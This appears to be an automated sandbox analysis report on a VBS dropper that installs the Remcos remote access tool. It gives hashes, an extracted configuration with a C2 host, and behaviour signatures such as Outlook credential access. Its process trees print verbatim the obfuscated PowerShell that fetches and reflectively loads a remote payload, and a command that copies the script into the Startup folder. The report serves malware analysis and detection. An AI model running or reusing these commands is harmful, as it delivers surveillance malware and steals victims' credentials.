Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2024 08:37

General

  • Target

    PDFDQ_P01_303B9367_2024-10-03_185650.vbs

  • Size

    486KB

  • MD5

    bfe8bd92459f45bda7c2144a9ae3ad70

  • SHA1

    5c8a674b4dec5b7c6bfe579d5ba7c30bd426b66f

  • SHA256

    705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139

  • SHA512

    fbd3c5fa3bf90cec9227912c203898870716d0cb50b0a6caade19aaf4493dce3cc4a7c1a77c713fe8963159d3195837ca1ef6dcfde8700fceed633aa7c3e7d06

  • SSDEEP

    12288:KZejbep/wU35vTs06uFBRBzPupRWdOrDt/bDqPm3hqekZEeWZCmHFLCCAYpdStSU:NX2oZLRgIZ2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

NEWS

C2

ab9001.ddns.net:35890

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vlc.exe

  • copy_folder

    vlc

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    Rmc-YJH0WY

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    reg

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PDFDQ_P01_303B9367_2024-10-03_185650.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:4452
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PDFDQ_P01_303B9367_2024-10-03_185650.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PDFDQ_P01_303B9367_2024-10-03_185650.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUV4ICgoJ2wnKydjJysnWicrJ3VybCA9JysnIFU4Y2h0dHAnKydzOi8vJysncmF3LicrJ2dpdCcrJ2h1YicrJ3UnKydzZXInKydjbycrJ250JysnZW50LmNvbS8nKydOb0RldGVjdE9uL05vRGV0ZScrJ2N0TycrJ24vcmVmcy8nKydoZScrJ2FkcycrJy9tYWluL0RlJysndGEnKydoTm90JysnaC1WLnR4dCcrJ1U4YzsgJysnbGMnKydaYmFzZTY0JysnQ28nKydudGVudCA9ICcrJyhOZXctT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2wnKydpZW50KS5Eb3cnKyduJysnbG9hJysnZFN0cmknKyduZygnKydsYycrJ1p1cmwnKycpJysnOyBsJysnY1piaW5hcnlDb250ZScrJ250ID0gW1MnKyd5JysncycrJ3RlbS5DbycrJ252ZXInKyd0XTonKyc6JysnRnJvbUJhJysnc2UnKyc2JysnNFN0cmluZyhsY1onKydiYXNlNjRDb250ZW4nKyd0KScrJzsnKycgbGNaYXNzJysnZW0nKydibHkgJysnPSBbJysnUmVmbCcrJ2VjdGknKydvbi5BcycrJ3NlbWJseV06OkxvJysnYWQobCcrJ2MnKydaJysnYmluJysnYXJ5JysnQ29udGVuJysndCknKyc7JysnIFtkbmxpYi4nKydJTy5Ib20nKydlJysnXTo6JysnVkFJKFI3ODAnKycvQ28nKydoJysnblUvZC8nKydlZS5lJysndCcrJ3NhcC8nKycvOnNwdHQnKydoUicrJzc4LCBSNzhkZXMnKydhdCcrJ2knKyd2YWRvUjc4LCcrJyBSNycrJzgnKydkZXNhdGknKyd2JysnYWQnKydvUjc4LCAnKydSNzhkZXNhJysndCcrJ2knKyd2YWRvUjc4JysnLCBSNycrJzhBZGRJblAnKydyb2Nlc3MzMlInKyc3OCwgUjc4UicrJzc4LFI3OFI3OCcrJyknKS5yRXBsYWNFKCdsY1onLFtzdHJJTkddW0NIQXJdMzYpLnJFcGxhY0UoKFtDSEFyXTg1K1tDSEFyXTU2K1tDSEFyXTk5KSxbc3RySU5HXVtDSEFyXTM5KS5yRXBsYWNFKChbQ0hBcl04MitbQ0hBcl01NStbQ0hBcl01NiksW3N0cklOR11bQ0hBcl0zNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEx (('l'+'c'+'Z'+'url ='+' U8chttp'+'s://'+'raw.'+'git'+'hub'+'u'+'ser'+'co'+'nt'+'ent.com/'+'NoDetectOn/NoDete'+'ctO'+'n/refs/'+'he'+'ads'+'/main/De'+'ta'+'hNot'+'h-V.txt'+'U8c; '+'lc'+'Zbase64'+'Co'+'ntent = '+'(New-Object S'+'ystem.Net.WebCl'+'ient).Dow'+'n'+'loa'+'dStri'+'ng('+'lc'+'Zurl'+')'+'; l'+'cZbinaryConte'+'nt = [S'+'y'+'s'+'tem.Co'+'nver'+'t]:'+':'+'FromBa'+'se'+'6'+'4String(lcZ'+'base64Conten'+'t)'+';'+' lcZass'+'em'+'bly '+'= ['+'Refl'+'ecti'+'on.As'+'sembly]::Lo'+'ad(l'+'c'+'Z'+'bin'+'ary'+'Conten'+'t)'+';'+' [dnlib.'+'IO.Hom'+'e'+']::'+'VAI(R780'+'/Co'+'h'+'nU/d/'+'ee.e'+'t'+'sap/'+'/:sptt'+'hR'+'78, R78des'+'at'+'i'+'vadoR78,'+' R7'+'8'+'desati'+'v'+'ad'+'oR78, '+'R78desa'+'t'+'i'+'vadoR78'+', R7'+'8AddInP'+'rocess32R'+'78, R78R'+'78,R78R78'+')').rEplacE('lcZ',[strING][CHAr]36).rEplacE(([CHAr]85+[CHAr]56+[CHAr]99),[strING][CHAr]39).rEplacE(([CHAr]82+[CHAr]55+[CHAr]56),[strING][CHAr]34) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:388
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1688
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\ipjiwxuprx"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4672
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\trptxqfqffwgeo"
            5⤵
              PID:4340
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\trptxqfqffwgeo"
              5⤵
                PID:1408
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\trptxqfqffwgeo"
                5⤵
                  PID:764
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\trptxqfqffwgeo"
                  5⤵
                  • Accesses Microsoft Outlook accounts
                  • System Location Discovery: System Language Discovery
                  PID:704
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\dmclxipktnolgucad"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:244
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4236,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:8
          1⤵
            PID:4536

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6d3e9c29fe44e90aae6ed30ccf799ca8

            SHA1

            c7974ef72264bbdf13a2793ccf1aed11bc565dce

            SHA256

            2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

            SHA512

            60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            141569b7d0491ac87af5d6b7e37743ae

            SHA1

            58c4144a404ac3f7e96276dd538bc32e94c148d9

            SHA256

            ed92fef3288e47af43d132233b7df33c0ad8afa2274b42d7e5ba66d940957816

            SHA512

            53545f2cbdd8f70bf444f8a4ea7dc48d759d09d715faedb96b149e3ae8d1392140d9a5ddd8695805e50c12b696a680a517290ce2572e2d88f461f14cb3448a81

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kfmpheij.fxy.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\ipjiwxuprx

            Filesize

            4KB

            MD5

            cda83eba5a004554ccdc061fd3df499c

            SHA1

            58ff2ecb9d47be10335e104896c87c62dc328523

            SHA256

            e384f4d46587646c6e0f9d2ee90b7bc57b49cea936b37cf8ab81ef3c4ce468ac

            SHA512

            f55ce20f0cf8b603fad765b889607f967c22d377fa4ac417ba1309d0aced9231e197bb4107d1c92bb99f51c04cc68ce26148727a8b694886710100c01f3de597

          • C:\Users\Admin\remcos\logs.dat

            Filesize

            144B

            MD5

            ce1526e5beff0d52159a75a705449678

            SHA1

            25ba063ad7681ef98d2f37d6c39a4e312e1be99d

            SHA256

            b8730586fc5711b2d5ec760d622980894b16edf373780ffb4a626319e5e926ac

            SHA512

            d457f871b5c80120b3b2045dd921a400e4c970a07e183f68e48b78b3f0367aea6e6dd2fe14848bd3c66a1c424ac1ba631a7a04c7e1f18ba46dc1b9f9e66caa9d

          • memory/244-66-0x0000000000400000-0x0000000000424000-memory.dmp

            Filesize

            144KB

          • memory/244-65-0x0000000000400000-0x0000000000424000-memory.dmp

            Filesize

            144KB

          • memory/244-64-0x0000000000400000-0x0000000000424000-memory.dmp

            Filesize

            144KB

          • memory/388-38-0x0000025BA55E0000-0x0000025BA5800000-memory.dmp

            Filesize

            2.1MB

          • memory/704-59-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/704-61-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/704-63-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/1688-82-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-89-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-48-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-49-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-50-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-51-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-52-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-53-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-55-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-57-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-117-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-44-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-116-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-41-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-39-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-109-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-108-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-101-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-100-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-70-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-78-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-93-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-80-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-92-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-83-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-84-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-86-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-87-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/1688-47-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/3524-11-0x00000256FE7B0000-0x00000256FE7D2000-memory.dmp

            Filesize

            136KB

          • memory/3524-1-0x00007FFFAF8C3000-0x00007FFFAF8C5000-memory.dmp

            Filesize

            8KB

          • memory/3524-12-0x00007FFFAF8C0000-0x00007FFFB0381000-memory.dmp

            Filesize

            10.8MB

          • memory/3524-13-0x00007FFFAF8C0000-0x00007FFFB0381000-memory.dmp

            Filesize

            10.8MB

          • memory/3524-14-0x00007FFFAF8C0000-0x00007FFFB0381000-memory.dmp

            Filesize

            10.8MB

          • memory/3524-17-0x00007FFFAF8C0000-0x00007FFFB0381000-memory.dmp

            Filesize

            10.8MB

          • memory/4672-62-0x0000000000400000-0x0000000000478000-memory.dmp

            Filesize

            480KB

          • memory/4672-60-0x0000000000400000-0x0000000000478000-memory.dmp

            Filesize

            480KB

          • memory/4672-58-0x0000000000400000-0x0000000000478000-memory.dmp

            Filesize

            480KB